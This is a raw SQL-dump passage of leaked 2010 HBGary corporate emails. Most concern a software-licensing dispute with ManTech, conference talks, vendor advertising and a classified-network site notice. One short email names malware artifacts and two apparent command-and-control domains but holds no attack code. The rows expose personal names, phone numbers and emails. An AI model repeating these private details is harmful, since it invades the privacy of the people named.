(93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanted\r\nto tell you that the software mods you wanted have been completed and are now\r\nin testing.&nbsp; Also, we had discussed that you intend to deploy your MDA\r\nsoftware with HBGary&#8217;s DDNA agent into the ManTech SOC after the New\r\nYear.&nbsp; Is that still the plan?&nbsp; We had discussed that the ManTech SOC\r\nwould be purchasing the HBGary software as part of that deployment.&nbsp; Is\r\nthat plan still active?&nbsp; Does the SOC have its budget identified for that\r\npurchase?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nemail is chock full of questions, isn&#8217;t it?&nbsp;&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nSlapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:29 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;FW: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nreceived your voicemail.&nbsp; I do not have easy access to a phone this\r\nweek.&nbsp; Is there anything we can address via email ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Unity Messaging\r\nSystem - CHN-UNITY-1&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 1:55 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14031,'aaron_hbgary_com/14031.html'),(12720,'2010-10-06','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009367.M669039P14101Q7576.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Palantir GovCon6 Talk Next Week','Hi Aaron, Good to talk to you today. As I mentioned, l&#39;ll put your post your upcoming talk, &quot;Exploring the Malware Family Tree in Palantir&quot; at Palantir&#39;s GovCon6 event on our site. http://www.palantirtech.com/government/conference Do you think Palantir would be interested in doing a white paper with us on this topic? You are putting a lot of effort into the presentation and it would be good to leverage the content further if you think they would be amenable. Let me know if you think it is something you can approach them on. Best, Karen\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n',10424,'aaron_hbgary_com/10424.html'),(12721,'2010-10-06','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009367.M9078P14101Q7574.eml','\"Aaron Barr\" <aaron@hbgary.com>','BlackHATDC CFP Link','Here you go, Aaron. I&#39;m keeping track of all our submissions/speaking events. If you can, please confirm when you have made this submission. Best,  K\r\nhttps://www.blackhat.com/html/bh-dc-11/registration/bh-dc-11-cfp.html-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n',2427,'aaron_hbgary_com/2427.html'),(12722,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009367.M941956P14101Q7577.eml','\"Rich Cummings\" <rich@hbgary.com>','Info on iprinp.dll and svchost.exe','Rich,\r\n\r\nCan you send me what you have on the iprinp.dll and svchost.exe\r\n\r\nDo you have any ip addresses, etc.\r\n\r\nI remember talking with you and I have captured nci.dnsweb.org and utc.bigdepression.net\r\n\r\ndo you have IPs?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',6002,'aaron_hbgary_com/6002.html'),(12723,'2010-10-06','\"Corey Hanifen\" <corey.hanifen@carahsoft.com>','/aaron@hbgary.com/new/1297009368.M220729P14101Q7578.eml','\"Aaron Barr\" <aaron@hbgary.com>','HP Software Webcast: Proactively Detect and Correct Application Security Vulnerabilities','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #C3C3C3;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #025699;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #025699; }\r\na:link { text-decoration: underline; color: #025699; }\r\na:visited { text-decoration: underline; color: #025699; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#C3C3C3 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Proactively Detect and Correct Application Security Vulnerabilities\r\n						\r\n						As more mission-critical processes take place on the web, effective web application security is increasingly critical for government agencies. IT is being asked to develop new web applications at a break-neck pace, and security threats are on the rise \r\n						\r\n						\r\n						Join us for this complimentary webcast to learn how HP Application Security Center helps your agency\'s developers, quality assurance teams, and security professionals quickly and effectively perform a security risk assessment to detect and correct security vulnerabilities and defects throughout the application lifecycle. \r\n						\r\n						\r\n						During this webcast, you will learn how to: \r\n						\r\n						\r\n							Lower risks by detecting security defects early in the application software development lifecycle\r\n							Reduce time for a security risk assessment through consolidated, automated testing\r\n							Facilitate a coordinated application security testing program across different departments in different locations\r\n							Provide visibility into enterprise-wide application security status through pre-configured reports\r\n							Help management measure the effectiveness of your security risk assessment program\r\n							Meet legal and regulatory compliance requirements\r\n							Support complicated sites, including those using JavaScript, flash, web services, SOAP, or Ajax\r\n						\r\n						\r\n						Interested but cannot attend at this time? Sign up to receive a copy of the presentation after the event. \r\n						\r\n						\r\n						Questions? Contact me.\r\n						Corey Hanifen\r\n						HP Software Government \r\n						at Carahsoft Technology Corp.\r\n						703-230-7438&nbsp;&nbsp;(Direct)\r\n						888-55-HPGOV (Toll Free)\r\n						corey.hanifen@carahsoft.com \r\n						www.carahsoft.com/hpsoftware \r\n						\r\n						\r\n						\r\n						\r\n						Register Today!&nbsp;&nbsp; \r\n						\r\n						Date: Tuesday, October 19, 2010\r\n						Time: 2pm Eastern; 11am Pacific\r\n						Duration:&nbsp;1 Hour \r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n						&nbsp; \r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			&nbsp;\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',12693,'aaron_hbgary_com/12693.html'),(12724,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009368.M456867P14101Q7579.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: ManTech','I spoke with Eric about this yesterday.  That may have had something to do with it.Don&#39;t know.AaronFrom my iPhone\r\nOn Oct 6, 2010, at 1:37 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nDave Savage left me a voice message today saying that ManTech is\r\n“slotted to purchase additional AD licenses in 2011” and as the relationship\r\nmoves forward he wants to look at creative ways that ManTech’s internal costs\r\ncould be reduced as they make us money in other ways.  So, it sounds like he\r\nshifted without my even speaking with him.  Let me know how your meeting with Eric\r\ngoes.\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 10:27 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nYep agreed.  And I think there is a win win.  We\r\ncan do a pass through of funds for licenses that are added to the cost of the\r\nemployees.  This is normally how managed services run anyway.  So\r\nthey will get the software and basically pass the cost onto customers.  We\r\nget in writing an agreement to put bodies on contract with software.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 10:24 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIT\r\nhas to be in writing, I will not trust them again.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, October 05, 2010 4:48 AM\r\nTo: Bob Slapnik\r\nCc: &#39;Penny Leavy-Hoglund&#39;\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nOK\r\nI will ask Eric some questions.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nA\r\nthought though.  Is it possible to see how far he will take this.\r\n They manage 5 current SOCs.  What if they allow us to place 5\r\nqualified candidates in existing SOCs and within the strategic partnership\r\nguarantee they will sell DDNA within their MDA solution.  Remember they do\r\n$30-40M in IR work according to Eric.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nGiving\r\naway free software is like putting a person on a services contract free of\r\ncharge.  It is just not good business.  But if they can push the cost\r\nsomewhere else and allow us to put people on contract and then we can figure\r\nout how to get some of that money to HBGary from the services side to pay for\r\nthe licenses in the SOC.?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nOct 5, 2010, at 7:24 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nwill speak with David and learn more about his motives.  I just wanted to\r\nmake sure that you, Penny and I were all on the same page.  It would be\r\nhelpful if you tell Eric that deployment of HBGary software into production\r\nalways happens with revenue, and ManTech won’t be an exception.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreading the tea leaves of David’s email, it sounds like he is holding out the\r\ncarrot of future services revenue to HBG Fed, but aren’t you expecting that\r\nrevenue anyhow?  Please have a frank conversation with Eric and ask him if\r\nfuture partnering is contingent on our cutting them a sweetheart deal.  We\r\nhave no plans to grant the sweetheart deal, but we need to ask the hard\r\nquestions to flush out what Eric is thinking.  Also ask who is putting\r\nthese thoughts into David’s head?  Who within ManTech might be influencing\r\nhim?  David stated, “I’ve had discussions with my Executive Leadership\r\ntoward that end”.  Who?  I will ask too.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, October 04,\r\n2010 10:54 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: &#39;Bob Slapnik&#39;\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nam on board.  You can&#39;t ask a small company to give away software for free\r\nin hopes of future engagements.  One thing to be clear on is big companies\r\ndon&#39;t speak with one voice, they have many.  The guy your working with\r\nfits somewhere in the food chain below Eric (who I am meeting with tomorrow).\r\n And often external and internal efforts are separated financially and\r\nfunctionally.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nI am not clear on is why the change in plans?  If I understand the\r\ncircumstances clearly I may be able to help.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nOct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNope\r\nwe can’t do this for free, it’s a business just like they have a business and\r\nwe need to make money.  WE aren’t using their software for free and quite\r\nfrankly we’ve done MORE than we said we would because of this “strategic”\r\nrelationship. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\n\r\nSent: Monday, October 04,\r\n2010 6:35 PM\r\nTo: &#39;Penny Leavy-Hoglund&#39;;\r\n&#39;Aaron Barr&#39;\r\nSubject: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nand Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nsee the email chain below.  I wanted to have some internal dialogue before\r\nI speak with David.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nattached powerpoint was David’s proposition to HBGary that they purchase DDNA\r\nduring the development of their MDA system then deploy it to the ManTech SOC\r\nafter the New Year.  We ended up charging them $30,625 during the\r\ndevelopment phase with the plan that they would apply that amount toward the\r\npurchase by the SOC.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nhis email below he is “pitching” that we provide our software to the ManTech\r\nSOC for free in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.   Personally, I don’t like the\r\nidea.  In my entire business career I’ve never experienced a good outcome\r\nfor “future revenue” schemes. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne\r\nreason we cooperated during their development phase was because we had a\r\npromise that the SOC would buy.  Now, David is proposing to change the\r\ndeal.  We had a deal in concept worked out for the development phase, a\r\ndiscounted reseller price for the SOC, and reseller pricing for when they use\r\nour software on their services engagements.  I view his latest “offer” to\r\nbe reneging on a handshake agreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwant the three us (Penny, Aaron and me) to be in agreement as to how we\r\napproach ManTech.  I am not inclined to drop my drawers, but I am willing\r\nto bend if ManTech shows could faith with a reasonable amount of money\r\nupfront.  Perhaps if they buy a license for the SOC we could provide them\r\nan extra reseller discount on some future transactions to RECOVER THEIR COSTS\r\nover time.  I want them to take the financial risk, not us.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04,\r\n2010 8:19 PM\r\nTo: Bob Slapnik\r\nSubject: RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll\r\ngood questions J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor the update on the mods, that is good news!  In terms of testing, are\r\nwe still approx 2 weeks out from obtaining the mods?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nyou know we have purchased a 500 node license for $32K+ that were are using for\r\ntesting and integration, with the intent the annual clock for the licensing\r\nwould start at the beginning of 2011 when we actually deploy MDA to the ManTech\r\nSOC.  The current plan is that the ManTech SOC would acquire additional\r\nDDNA licenses (up to 2,500 additional licenses, bringing the total to 3,000\r\nwith the 500 we’ve already purchased).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’ve\r\nbeen holding off on finalizing anything with the SOC, as I wanted to address\r\nthe possibility of a strategic business relationship with you (HBGary), wherein\r\nManTech would be able to leverage DDNA free of cost internally in exchange for\r\nworkshare on contracts and ManTech reselling DDNA licenses to customers via\r\nMDA.  I’ve had discussions with my Executive Leadership toward that end,\r\nand I need to follow up on with my leadership again so we can move toward some\r\nsort of solution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAt\r\nany rate, your email has brought all this back on my radar J  The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.  If for some reason you haven’t heard from me in two\r\nweeks, please ping me again.  I certainly don’t mean to get side-tracked,\r\nbut I wear about six different hats J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\n\r\nSent: Monday, October 04,\r\n2010 6:26 PM\r\nTo: Savage, David R\r\nSubject: RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanted\r\nto tell you that the software mods you wanted have been completed and are now\r\nin testing.  Also, we had discussed that you intend to deploy your MDA\r\nsoftware with HBGary’s DDNA agent into the ManTech SOC after the New\r\nYear.  Is that still the plan?  We had discussed that the ManTech SOC\r\nwould be purchasing the HBGary software as part of that deployment.  Is\r\nthat plan still active?  Does the SOC have its budget identified for that\r\npurchase?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nemail is chock full of questions, isn’t it?  J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nSlapnik  |  Vice President  |  HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n301-652-8885 x104  | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04,\r\n2010 6:29 PM\r\nTo: Bob Slapnik\r\nSubject: FW: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob –\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nreceived your voicemail.  I do not have easy access to a phone this\r\nweek.  Is there anything we can address via email ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Unity Messaging\r\nSystem - CHN-UNITY-1 \r\nSent: Monday, October 04,\r\n2010 1:55 PM\r\nTo: Savage, David R\r\nSubject: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2078,'aaron_hbgary_com/2078.html'),(12725,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009368.M672414P14101Q7580.eml','\"Greg Hoglund\" <greg@hbgary.com>','Another question','Does the soysauce analysis you did have a direct correlation to the iprinp stuff from QQ?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',13436,'aaron_hbgary_com/13436.html'),(12726,'2010-10-06','arc@westfields.net','/aaron@hbgary.com/new/1297009368.M917140P14101Q7581.eml','federal@hbgary.com','COMM / Roubaix Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Roubaix effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate 